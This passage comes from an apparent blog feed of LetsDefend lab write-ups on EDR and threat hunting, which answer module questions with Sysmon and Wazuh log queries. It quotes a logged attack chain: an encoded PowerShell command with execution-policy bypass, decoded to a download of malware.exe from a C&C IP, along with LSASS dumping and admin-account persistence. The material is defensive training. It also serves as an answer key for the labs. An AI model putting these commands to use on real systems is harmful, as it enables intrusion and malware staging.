is that we can not only detect the activity when it happens, but also use IoCs and IoAs to search through historical events.</p><p>An <strong>IoC (Indicator of Compromise)</strong> is an artifact that can indicate a compromise, such as a Malicious IP, Domain, File Hash, or Malicious File. An <strong>IoA (Indicator of Attack)</strong> focuses more on the behavior happening during an attack, such as Process Injection, Credential Dumping, or Suspicious PowerShell Activity.</p><p>It is also important to have good <strong>Alert Management</strong>, because not every Alert means there is a real attack. We need to reduce <strong>False Positives</strong> and focus on important and dangerous alerts. We can also prioritize them based on their <strong>Severity</strong> and <strong>Criticality</strong> so we can start investigating the most important cases first.</p><p>Sysmon by itself does not provide centralized management for all endpoints, so we can integrate it with a <strong>SIEM</strong> such as Wazuh, Splunk, or Elastic. The SIEM collects logs from different sources in one place, making Search, Analysis, and <strong>Threat Hunting</strong> easier. We can also use <strong>SOAR</strong> with EDR and SIEM to automate some Response steps. For example, when a suspicious file is detected, an Alert can be generated and the device can then be automatically isolated.</p><p>After configuring the EDR and collecting the Telemetry, we can start detecting threats. The module discusses several Detection methods, including <strong>Signature-Based Detection</strong>, which relies on known threat signatures, <strong>Behavioral Detection</strong>, which focuses on the behavior of a program or user, and <strong>Anomaly-Based Detection</strong>, which looks for activity outside the normal behavior. This can help detect new or unknown threats.</p><p>When we detect a threat, EDR provides several <strong>Response Actions</strong>, such as <strong>Kill</strong> the malicious Process, <strong>Quarantine</strong> the file, <strong>Blacklist</strong> the threat, and perform <strong>Network Isolation</strong> on the device.</p><p>However, the investigation does not stop after stopping the threat. We still need to collect the Telemetry and Evidence, analyze the activity, and identify the <strong>Root Cause</strong>. We need to understand how the attack started, what the attacker did, where they came from, and which systems or accounts were affected.</p><p>During advanced analysis, it is important not to look at a single Event and judge it by itself. Instead, we should look at the <strong>Sequence of Events</strong>. For example, if we find:</p><pre>net users<br>↓<br>net user add<br>↓<br>net localgroup administrators /add<br>↓<br>Shadow Copy Delete</pre><p>Each command could be normal in certain situations, but when they happen one after another like this, the entire sequence can look suspicious. This shows why <strong>Behavioral Analysis</strong> is important, because the complete behavior can sometimes be more important than a single Event.</p><p>We can also connect EDR with <strong>Threat Intelligence</strong> to add more Context to the alerts. For example, if we find a connection to an IP known to be malicious, or a file with a Hash known to be Malware, this information helps us determine that the Alert is actually dangerous and better understand the threat.</p><p>EDR also helps us identify the <strong>Root Cause</strong>, which is the main reason that led to the incident. For example, if we find a Process Chain like:</p><pre>PowerShell<br>↓<br>hh.exe<br>↓<br>GitHub<br>↓<br>mimikatz.zip</pre><p>we can understand that PowerShell was part of the process of downloading the file.</p><p>In another example, if we find:</p><pre>httpd.exe<br>↓<br>certutil.exe<br>↓<br>Malicious File</pre><p>this may indicate that the web server itself was exploited to execute commands and download Malware. Here, the investigation does not stop at finding the Malware. We also need to understand how the Malware reached the system in the first place.</p><p>The module ends with several <strong>Practical Scenarios</strong>, mainly <strong>Ransomware</strong>, <strong>Credential Dumping</strong>, and <strong>Persistence</strong>.</p><p>In a <strong>Ransomware</strong> case, the Malware encrypts files and demands a Ransom. Some signs may include many files being encrypted suddenly, file extensions and names being changed, or the system becoming slow and applications becoming unresponsive. In this case, EDR can detect the activity and perform <strong>Kill, Quarantine, and Isolate</strong>. It may also use <strong>Remediation or Rollback</strong> to restore the files to their previous state.</p><p>For <strong>Credential Dumping</strong>, the attacker tries to obtain Credentials from the system. Signs may include Memory Dumping, Privilege Escalation, or unusual Authentication attempts. The attacker may exploit a Web Application Vulnerability, download Mimikatz, and use it to extract credentials. In this case, simply removing Mimikatz is not enough. We need to isolate the device, investigate what happened, change the affected credentials, and make sure the attacker has lost access.</p><p><strong>Persistence</strong> means that the attacker tries to make sure they can return to the system even after a Reboot. This may appear as suspicious Startup Applications, Registry Modifications, Scheduled Tasks, or a new User being created and added to the Administrators group. We need to identify the Persistence method and remove it, then review the Logs and Account Activity to make sure the attacker did not leave another way to return.</p><p>In the end, the most important thing I understood from this module is that <strong>EDR is not just an Antivirus</strong>. It is a very important source for <strong>DFIR</strong> because it gives us Visibility into what is happening on Endpoints. We start by collecting Telemetry and Logs, then use them to detect threats and analyze Behavior, identify the Root Cause, and respond to the incident.</p><p>The main Flow we can take from the module is:</p><p><strong>Monitor → Detect → Investigate → Contain → Respond → Recover → Prevent</strong></p><p>The main idea is that we do not only want to know that an attack happened. We also want to understand <strong>what happened, how it happened, how to stop it, and how to prevent it from happening again.</strong></p><h3>1- <strong>Configuring EDR Tools for Effective Detection</strong></h3><p><strong><em>Q1: What event ID recorded by the Sysmon tool contains “process creation” details?</em></strong></p><pre>Answer: 1</pre><p><strong><em>Q2: What is the ID of the Sysmon event that monitors network connections to detect malicious network traffic activity in the DFIR process?</em></strong></p><pre>Answer: 3</pre><h3>2- Incident Detection and Response with EDR</h3><p><strong><em>Q1: What is the name of the process communicating with the IP address “65.21.176.119” reported by the CTI source? Answer Format: C:\Windows\putty.exe</em></strong></p><p>First, we will start the lab and then connect to it using <strong>RDP</strong> with the following credentials:</p><ul><li>Username: <strong>letsdefend</strong></li><li>Password: <strong>&lt;blank password&gt;</strong></li></ul><p>This question asks us to find the <strong>name and path of the process</strong> that connected to the IP 65.21.176.119.</p><p>We open the sysmon.evtx file located on the Desktop by double-clicking it, then filter the <strong>Event ID</strong> to <strong>3</strong>, which is related to <strong>Network Connection</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*VdtHJQsVGBIPomBKjFdF5A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*owTes9pnZsIq7NFYkOYMdA.png" /></figure><p>We will find 4 Events. By searching for the IP 65.21.176.119, we can find the Event related to the connection. In the <strong>Image</strong> field, we can see that the process responsible for the connection is:</p><p>C:\Windows\Temp\plink.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/602/1*iZKX3ewejY4ywlZOyb9ucQ.png" /></figure><pre>Answer: C:\Windows\Temp\plink.exe</pre><p><strong><em>Q2: What is the process ID of the process that creates the file “C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ncat.ps1”?</em></strong></p><p>This question asks us to find the <strong>Process ID</strong> of the process that created the ncat.ps1 file.</p><p>We filter the Events by <strong>Event ID 11</strong>, which is related to <strong>File Create</strong>, and then search for the filename ncat.ps1.</p><p>We will find the Event related to the file creation. In the <strong>ProcessId</strong> field, we can see that the Process ID is <strong>4632</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*skLqb51S45MhcoQADDG1ew.png" /></figure><pre>Answer: 4632</pre><p><strong><em>Q3: What tool was used to transfer the file “procdump.zip”? Answer Format: toolname.extension</em></strong></p><p>This question asks us to find the <strong>tool</strong> that was used to transfer the procdump.zip file.</p><p>We filter the Events by <strong>Event ID 1</strong>, which is related to <strong>Process Creation</strong>, and then search for procdump.zip.</p><p>We will find the Event related to the file transfer. By checking the <strong>Image</strong> and <strong>CommandLine</strong> fields, we can see that the tool used was curl.exe, as the CommandLine contains the download URL for the procdump.zip file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wAVvpX9_ek6V3WfT4B651g.png" /></figure><pre>Answer: curl.exe</pre><p><strong><em>Q4: What is the parent process of the ‘cmd.exe’ process that executes the command used to download the ‘procdump.zip’ file? Answer Format: C:\Windows\putty.exe</em></strong></p><p>If we click <strong>Next</strong>, we will find another Event related to the download of the procdump.zip file. This time, the download is performed using the cmd.exe process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LXUCnUqW71R1GyMGVszu4g.png" /></figure><p>By checking the <strong>ParentImage</strong> field, we can see that the parent process of cmd.exe is:</p><p>C:\xampp\apache\bin\httpd.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R34FfXARL2DRkZFNpX9jUQ.png" /></figure><pre>Answer: C:\xampp\apache\bin\httpd.exe</pre><p><strong><em>Q5: Where is the dump file of the “lsass.exe” process created by “Taskmgr.exe” stored? Answer Format: C:\Windows\ls.dmp</em></strong></p><p>This question asks us to find the location where the <strong>dump file</strong> of the lsass.exe process was stored after being created by Taskmgr.exe.</p><p>We filter the Events by <strong>Event ID 11</strong>, which is related to <strong>File Create</strong>, and then search for Taskmgr.exe.</p><p>We will find the Event related to the creation of the dump file. In the <strong>TargetFilename</strong> field, we can see that the file was created at:</p><p>C:\Users\admin\AppData\Local\Temp\lsass.DMP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m40EgA_ItbjCXaAMnHh-1w.png" /></figure><pre>Answer: C:\Users\admin\AppData\Local\Temp\lsass.DMP</pre><p><strong><em>Q6: Which user created the “lsass.DMP” file? Answer Format: DOMAIN\username</em></strong></p><p>From the same <strong>Event</strong> used in the previous question, we can see in the <strong>User</strong> field that the user who created the lsass.DMP file is:</p><p>TESTPC\admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/660/1*jzpnyX45FS5vqMy1YyWEqQ.png" /></figure><pre>Answer: TESTPC\admin</pre><h3>3- Advanced Analysis Techniques with EDR</h3><p><strong><em>Q1: According to the registry log created under “HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”, what is the name of the application that is run every time the system starts? Answer Format: filename.extension</em></strong></p><p>We filter the Events by <strong>Event ID 13</strong>, which is related to <strong>Registry Value Set</strong>, and then search for the following path:</p><p>HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run</p><p>We will find this path in the <strong>TargetObject</strong> field. In the <strong>Details</strong> field, we can see the name of the application that runs when the system starts:</p><p>rvcx.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XcBOZrWT2MqKLmfo2ul2ow.png" /></figure><pre>Answer: rvcx.exe</pre><p><strong><em>Q2: What is the name of the source process that accessed “C:\Windows\system32\lsass.exe”? Answer Format: C:\Windows\putty.exe</em></strong></p><p>We filter the Events by <strong>Event ID 10</strong>, which is related to <strong>Process Access</strong>, and then search for lsass.exe.</p><p>We will find the Event related to access to the lsass.exe process. In the <strong>SourceImage</strong> field, we can see that the process that accessed it was:</p><p>C:\Users\admin\Downloads\mimikatz_trunk\x64\mimikatz.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*icka6EsFHBERu42HRTdr9Q.png" /></figure><pre>Answer: C:\Users\admin\Downloads\mimikatz_trunk\x64\mimikatz.exe</pre><p><strong><em>Q3: Which tool was used to scan the IP address block “172.16.8.0/24”? Answer Format: toolname</em></strong></p><p>We filter the Events by <strong>Event ID 1</strong>, which is related to <strong>Process Creation</strong>, and then search for the IP range 172.16.8.0/24.</p><p>We will find the Event related to the scan. In the <strong>CommandLine</strong> field, we can see that the nmap.exe tool was used with the required IP block.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-PPmjwdTUOloDhsjiISM2A.png" /></figure><pre>Answer: nmap</pre><p>Q4: “152.199.19.160” What is the name of the process communicating with this IP address? Answer Format: putty.exe</p><p>We filter the Events by <strong>Event ID 3</strong>, which is related to <strong>Network Connection</strong>, and then search for the IP 152.199.19.160.</p><p>We will find the Event related to the connection to this IP. In the <strong>Image</strong> field, we can see that the process responsible for the connection was curl.exe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*9bI2sXycMNiy0OMpYusQSg.png" /></figure><pre>Answer: curl.exe</pre><p><strong><em>Q5: What is the process that causes a DNS request for “download.sysinternals.com”? Answer Format: putty.exe</em></strong></p><p>We filter the Events by <strong>Event ID 22</strong>, which is related to <strong>DNS Query</strong>, and then search for download.sysinternals.com.</p><p>We will find the Event related to the DNS request. In the <strong>Image</strong> field, we can see that the process that caused the DNS request was:</p><p>C:\Windows\SysWOW64\curl.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mjU5gCZoAxIeW84dwGGGmA.png" /></figure><pre>Answer: curl.exe</pre><p><strong><em>Q6: What is the name of the process that generated the event corresponding to the MITRE technique ‘technique_id=T1012,technique_name=Query Registry’ ? Answer Format: putty.exe</em></strong></p><p>We do not need to filter by <strong>Event ID</strong> here. Instead, we search through all Events for:</p><p>T1012</p><p>This is the MITRE Technique for <strong>Query Registry</strong>.</p><p>After searching, we will find the Event related to this technique. In the <strong>Image</strong> field, we can see that the process that created the Event was:</p><p>C:\Windows\System32\reg.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O0lSZ4x9lVRWD9qFleGxUQ.png" /></figure><pre>Answer: reg.exe</pre><p>That’s the end of this write-up.<br>Don’t forget to follow me on <a href="https://medium.com/@0xgbreil"><strong>Medium</strong></a> for more CTF and DFIR write-ups.<br>For networking and professional connections, you can also reach me on <a href="https://www.linkedin.com/in/0xgbreil/"><strong>LinkedIn</strong></a><strong>.</strong></p><p>Thank you for reading .</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e64a4bef0e4a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Threat Hunting with EDR — LetsDefend]]></title>
            <link>https://medium.com/@0xgbreil/threat-hunting-with-edr-letsdefend-af02c1e6c19b?source=rss-d7c57ae8b6e6------2</link>
            <guid isPermaLink="false">https://medium.com/p/af02c1e6c19b</guid>
            <category><![CDATA[letsdefendio]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[edr]]></category>
            <dc:creator><![CDATA[Mohammed Gbreil]]></dc:creator>
            <pubDate>Mon, 19 Oct 2026 22:31:14 GMT</pubDate>
            <atom:updated>2026-10-19T22:31:14.574Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello,</p><p>Today, I will explain some important points covered in the<strong> </strong>Threat Hunting with EDR and solve the module questions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-WcK5c0Q9SQVaBR07D7ekA.png" /></figure><h3>1- Introduction</h3><p>In this section, we discussed the concept of <strong>Threat Hunting</strong> and the role of <strong>EDR</strong> in it.</p><p><strong>Threat Hunting</strong> is basically the process of actively looking for suspicious activity instead of waiting for <strong>Security Tools</strong> to generate an Alert.</p><p><strong>EDR</strong> helps with this by collecting detailed information from <strong>Endpoints</strong>, such as <strong>Processes, Files, Network Connections, System Events, and User Activity</strong>.</p><p>We can use this data to create <strong>Hypotheses</strong> and search for <strong>IOCs</strong> and <strong>IOAs</strong>.</p><ul><li><strong>IOC</strong> is a known artifact that may indicate a compromise, such as a <strong>Malicious Hash, Suspicious IP, or Domain</strong>.</li><li><strong>IOA</strong> focuses more on the attacker’s behavior, such as <strong>Unauthorized Login Attempts</strong> or unusual activity.</li></ul><p>EDR also performs four main functions:</p><ol><li><strong>Detection</strong> → Detect suspicious activity.</li><li><strong>Investigation</strong> → Analyze events and understand what happened.</li><li><strong>Response</strong> → Contain the threat, such as isolating a device or stopping a suspicious Process.</li><li><strong>Recovery</strong> → Restore the system and apply the required Patches.</li></ol><p>One of the most important uses of <strong>EDR</strong> in Threat Hunting is correlating different types of data and building an <strong>Event Timeline</strong>. This helps us understand how the attack started and how the attacker moved through the environment.</p><h4>Lateral Movement</h4><p>Next, we started our first <strong>Hypothesis</strong>: the attacker may be performing <strong>Lateral Movement</strong> inside the network to reach other systems.</p><p>To investigate this hypothesis, we review:</p><ul><li><strong>EDR Logs</strong></li><li><strong>Network Traffic Logs</strong></li><li><strong>IDS/IPS Logs</strong></li></ul><p>We look for things such as a device connecting to new systems for the first time, unexpected use of <strong>SMB or RDP</strong>, an increase in connection attempts, <strong>Port Scanning</strong>, or suspicious <strong>Processes and Files</strong>.</p><p>If we find these behaviors together, it could indicate that the attacker is trying to move from one system to another within the network.</p><h3>Practical Lab-1</h3><p><strong><em>Q1: According to System Monitor (Zabbix) logs, what is the hostname of the system that triggered a high CPU usage alert between Aug 1, 2024 00:00 — Aug 7, 2024 00:00?</em></strong></p><p>At the beginning, we will start the lab and then go to https://Target IP to access the <strong>Wazuh SIEM</strong>.</p><p>Use the following credentials:</p><ul><li><strong>Username:</strong> letsdefend</li><li><strong>Password:</strong> letsdefend123</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/0*oO1rxpdZEhQZXNRy.png" /></figure><p>Now, after opening the <strong>SIEM</strong> interface, we go to <strong>Discover</strong> from the sidebar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/330/0*yuj6WbEtyHJg274h.png" /></figure><p>The <strong>search and events interface</strong> will appear. From the top, we set the time range to:</p><p><strong>Aug 1, 2024 00:00 → Aug 7, 2024 00:00</strong></p><p>as requested.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/685/0*fAL4UxqU1TE6GJhh.png" /></figure><p>After setting the time range, we can see that there are <strong>759 Events</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AmnVne9DEpfuUhXlLc_JbA.png" /></figure><p>This question asks us to identify the <strong>Hostname</strong> of the system that triggered the <strong>High CPU Usage Alert</strong> during the specified time period.</p><p>We will use the following Filter to search for <strong>Zabbix Logs</strong> and events related to <strong>CPU Usage</strong>:</p><pre>rule.groups: zabbix and cpu</pre><p>This Filter shows us <strong>Zabbix Events</strong> related to CPU usage.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*im16rsscikKtWWV066exlg.png" /></figure><p>We will find <strong>one Event</strong>. By checking its details, we look for the following field:</p><p>data.host</p><p>We will find that the Hostname is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/584/1*ZknQvt73ndhpWKlWuqec_w.png" /></figure><pre>Answer: app-server-01</pre><p><strong><em>Q2: What is the name of the application installed on the high-CPU system during Aug 1–7, 2024? Answer Format: Test Tester: Winrar &amp; 7zip Extract Software</em></strong></p><p>This question asks us to identify the <strong>Application</strong> installed on the same system that triggered the <strong>High CPU Usage Alert</strong> during the period from <strong>August 1 to August 7, 2024</strong>.</p><p>From the previous question, we know that the Hostname is:</p><p>app-server-01</p><p>We will use the following Filter to search for <strong>Windows Application Events</strong> related to app-server-01, specifically <strong>Event ID 1033</strong>, which is related to software installation:</p><pre>rule.groups: windows_application and data.win.system.eventID: 1033 and agent.name: app-server-01</pre><p>We will find <strong>one Event</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7TAm0qIN6pXSggtmOibYaA.png" /></figure><p>By checking data.win.system.message, we can see that <strong>Windows Installer</strong> installed the application. The <strong>Product Name</strong> is:</p><pre>Answer: Cudo Miner: Bitcoin &amp; Crypto Mining Software (Miner.exe)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GTrPPX0VgmLUJRNRheAg_Q.png" /></figure><blockquote>This application is commonly used for <strong>Cryptocurrency Mining</strong>, so finding it on a system that experienced <strong>High CPU Usage</strong> is important for the investigation, since mining processes can consume a large amount of CPU resources and may explain the high CPU usage.</blockquote><p><strong><em>Q3: What is the full path of the mining executable? Answer Format: C:\\Temp\\LetsDefend\\Uploads\\tester.exe</em></strong></p><p>The question asks us to find the <strong>full path</strong> of the mining executable.</p><p>We used the following Query:</p><pre>rule.groups: sysmon_event1 and *miner.exe*</pre><p>This Query searches <strong>Sysmon Event ID 1</strong> for events related to miner.exe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NVj7XgvxrQj5-S-mjytn8w.png" /></figure><p>In the results, under the <strong>data.win.eventdata.image</strong> field, we can find the path:</p><pre>C:\Users\Admin\Downloads\miner.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KwedPpzMryOfCEOu1j8Fpw.png" /></figure><p>Therefore, in the required format, the answer is:</p><pre>Answer: C:\\Users\\Admin\\Downloads\\miner.exe</pre><p><strong><em>Q4: What is the parent process that executed the miner downloaded to the system? Answer Format: C:\\Uploads\\tester.exe</em></strong></p><p>From the previous log, specifically in the <strong>data.win.eventdata.parentImage</strong> field, we can see that the <strong>parent process</strong> that launched the miner was:</p><pre>C:\Windows\bitsadmin.exe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b2w6JZWUNLMazpdr2LR9hA.png" /></figure><p>Therefore, in the required format, the answer is:</p><pre>Answer: C:\\Windows\\bitsadmin.exe</pre><p><strong><em>Q5: Which domain did the miner contact? Answer Format: hello.world.com</em></strong></p><p>I searched for:</p><pre>*miner.exe*</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wnwqwBJ33JlOmWT3TEHAxw.png" /></figure><p>This returned <strong>3 Logs</strong>. In the <strong>second Log</strong>, we found a DNS Event related to the miner.</p><p>In the <strong>data.win.eventdata.queryName</strong> field, we found the domain that the miner connected to:</p><pre>account.cryptominer.io</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*kyF4O4h-hD-93UpnjTctzQ.png" /></figure><p>Therefore, the answer is:</p><pre>Answer: account.cryptominer.io</pre><p><strong><em>Q6: Which threat group is this domain IOC associated with in LetsDefend Threat Intel?</em></strong></p><p>I went to <strong>LetsDefend Threat Intel</strong> and searched for the previous <strong>domain IOC</strong>:</p><pre>account.cryptominer.io</pre><p>The results showed that the <strong>Data Source</strong> associated with the IOC is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p8XGJzQOY6nJRHsPsQVMXA.png" /></figure><pre>Answer: RiverChildren</pre><p><strong><em>Q7:According to the “Threat Intel” module on LetsDefend, what is the shared hash associated with this threat group?</em></strong></p><p>We will search for the previous <strong>Threat Group</strong>:</p><pre>RiverChildren</pre><p>In <strong>Threat Intel</strong>, we will find the Hash associated with it in the <strong>Hash</strong> field.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o6ciQT7u-HFGpmGumWTjNA.png" /></figure><pre>Answer: 514CF877644F22924DA63989F3B56CD9</pre><p><strong><em>Q8: According to the LetsDefend “Threat Intel” module, the hash associated with the threat actor group was detected on another system besides the one that generated the high CPU usage alert. What is the “agent_name” of this additional system?</em></strong></p><p>From the log, after searching for the previous <strong>Hash:</strong></p><pre>*514CF877644F22924DA63989F3B56CD9*</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dMoXnmaOCYzQrPTsAnGu2A.png" /></figure><p>We can see that the Event appeared on another system.</p><p>In the <strong>agent.name</strong> field, we find:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*tkdSIk1c_dKWQ6_YKK4T3w.png" /></figure><pre>Answer: app-server-02</pre><p><strong><em>Q9: What is the full path of the miner application running on the system where the cryptomining malware was detected (other than the system that generated the high CPU usage alert)? Answer Format: C:\\Temp\\LetsDefend\\Uploads\\tester.exe</em></strong></p><p>From the log in the previous question, we can see that the value of <strong>data.win.eventdata.image</strong> contains the path of the miner application on the other system:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EGuHz0mYhzcBNCydga3vPg.png" /></figure><pre>Answer: C:\\Windows\\Temp\\nanominer\\nanominer.exe</pre><p><strong><em>Q10: What is the full path of the process (parent process — path/binary_name) that executed the miner application on the system where cryptomining malware was detected (other than the system that generated the high CPU usage alert)? Answer Format: C:\\Temp\\LetsDefend\\Uploads\\tester.exe</em></strong></p><p>From the previous log, we can see that the value of <strong>data.win.eventdata.parentImage</strong> contains the path of the <strong>parent process</strong> that launched the miner.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*2vfo0rxr0GzfqmdrpPYabA.png" /></figure><pre>Answer: C:\\Windows\\w3wp.exe</pre><h3><strong>Practical Lab-2</strong></h3><p><strong><em>Q1: What is the IP address (agent_ip) of the endpoint where PowerShell was used with the “EncodedCommand” parameter between Aug 1, 2024 00:00 — Aug 7, 2024 00:00?</em></strong></p><p>This question asks us to identify the <strong>IP address of the endpoint</strong> where PowerShell was used with an <strong>EncodedCommand</strong> during the period from <strong>August 1 to August 7, 2024</strong>.</p><p>We will use the following Filter to search for <strong>Sysmon Event ID 1</strong>, which is related to Process Creation, and identify events involving powershell.exe:</p><pre>rule.groups: sysmon_event1 and *powershell.exe* and *EncodedCommand*</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VxTJ8tPAX-G18JauGSoE3A.png" /></figure><p>After getting the results, we will review the events and look for the one where the PowerShell command uses <strong>EncodedCommand</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0unDc-8hhGeOfdTLFQKNuQ.png" /></figure><p>In the Event, we will find that the command line contains:</p><pre>powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand SW52b2tlLVdlYlJlcXVlc3QgLVVyaSAiaHR0cDovLzEyLjY4LjEuMTAwL21hbHdhcmUuZXhlIiAtT3V0RmlsZSAiQzpcV2luZG93c1xUZW1wXG1hbHdhcmUuZXhlIg==</pre><p>By checking the Event details, we will find:</p><pre>agent.ip: 192.168.100.25</pre><p>Therefore, the IP address of the endpoint is:</p><pre>Answer: 192.168.100.25</pre><p><strong><em>Q2: What is the decoded version of the command executed with the “EncodedCommand” parameter in PowerShell between Aug 1, 2024 00:00 — Aug 7, 2024 00:00? Answer Format: I….-W…. -.. “http://x.x.x.x/x.exe&quot; -O… “C:\\a\\b\\c.exe”</em></strong></p><p>We copy the <strong>Base64</strong> value from the previous question, then go to <strong>CyberChef</strong> and use the <strong>From Base64</strong> operation to decode it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PhEmwk0FTqaqBocevRfJOA.png" /></figure><p>After decoding the Base64, we get the following command:</p><pre>Invoke-WebRequest -Uri &quot;http://12.68.1.100/malware.exe&quot; -OutFile &quot;C:\Windows\Temp\malware.exe&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mzxpxZ0PQFG7c_RixO9M7A.png" /></figure><p>The command uses Invoke-WebRequest to <strong>download the </strong><strong>malware.exe file from the specified URL</strong>, then saves it on the system at:</p><pre>C:\Windows\Temp\malware.exe</pre><p>This means the PowerShell command was used to download an executable file from an external server and save it on the system.</p><pre>Answer: Invoke-WebRequest -Uri &quot;http://12.68.1.100/malware.exe&quot; -OutFile &quot;C:\\Windows\\Temp\\malware.exe&quot;</pre><p><strong><em>Q3: To which group is the C&amp;C IP address in the command executed with PowerShell’s “EncodedCommand” parameter (between Aug 1–7, 2024) attributed in the LetsDefend Threat Intel module?</em></strong></p><p>By searching for the <strong>C&amp;C IP address</strong> from the previous command, 12.68.1.100, in <strong>LetsDefend Threat Intel</strong>, we can see that the IP appears in the results and is classified under the following <strong>Tag</strong>:</p><p>APT-SKR-41</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jHQ8-suVpIB37m5nWTbLEg.png" /><figcaption><a href="https://app.letsdefend.io/threat-intelligence-feed">https://app.letsdefend.io/threat-intelligence-feed</a></figcaption></figure><p>Therefore, the group associated with the C&amp;C IP is:</p><pre>Answer: APT-SKR-41</pre><p><strong><em>Q4: What is the hash among the IoCs associated with the group linked to the C&amp;C IP address (from the PowerShell “EncodedCommand” executed Aug 1–7, 2024) in the LetsDefend “Threat Intel” module?</em></strong></p><p>By searching for the group <strong>APT-SKR-41</strong> in <strong>LetsDefend Threat Intel</strong>, which is associated with the <strong>C&amp;C IP </strong><strong>12.68.1.100</strong>, we can find multiple <strong>IoCs</strong> related to it.</p><p>From the results, we can see the <strong>Hash</strong> listed in the table:</p><pre>1230FB982C1A8DCBDF232BE450E124A34439D67</pre><p>This is the <strong>Hash</strong> associated with <strong>APT-SKR-41</strong>, shown next to the IP in the <strong>Threat Intel</strong> results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zhlJ4xqMNwAXFGddL-yISg.png" /></figure><pre>Answer: 1230FB982C1A8DCBDF232BE450E124A34439D67</pre><p><strong><em>Q5: What is the full path of the executable for the parent process of the hash (among the IoCs associated with the group linked to the C&amp;C IP address from the PowerShell “EncodedCommand”)? Answer Format: C:\\\\Test\\\ ester.exe</em></strong></p><p>In SIEM, apply the “rule.groups: sysmon_event1” filter and query the detected hash in the lookup section. (“ <em>hash</em> “):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*29ULHRFDGfF8gPIDiqFaGA.png" /></figure><pre>Answer: C:\\Windows\\explorer.exe</pre><p><strong><em>Q6:Which IP address did the process (associated with the hash from the IoCs linked to the C&amp;C IP address) communicate with between “Aug 1, 2024 00:00 — Aug 7, 2024 00:00”?</em></strong></p><p>To answer this question, we need to identify the <strong>IP address</strong> that the process associated with the hash we found from the <strong>IoCs</strong> communicated with.</p><p>We used the following query:</p><pre>rule.groups: sysmon and *malware.exe*</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZBAD-qK2OnSIw60RPK-bIg.png" /></figure><p>This returned the <strong>Sysmon Network Connection Event</strong> related to malware.exe.</p><p>From the event, we can find:</p><pre>Image: C:\Windows\Temp\malware.exe<br>DestinationIp: 185.220.101.24<br>DestinationPort: 443</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*0ZOLPcqtw8GZM29uuSNrYA.png" /></figure><p>Therefore, the malware.exe process communicated with:</p><pre>Answer: 185.220.101.24</pre><p><strong><em>Q7: What was the firewall action for the IP address that the process (associated with the hash from the IoCs linked to the C&amp;C IP address) attempted to communicate with between “Aug 1, 2024 00:00 — Aug 7, 2024 00:00”?</em></strong></p><p>After finding that the process associated with the <strong>IoC</strong> attempted to communicate with the IP <strong>185.220.101.24</strong>, we searched the <strong>Firewall Logs</strong> during the same time period using:</p><pre>rule.groups: firewall and data.dstip: 185.220.101.24</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DxQRG6H7ED1Al7wQ1WfwLw.png" /></figure><p>The results showed the <strong>Firewall Event</strong> related to 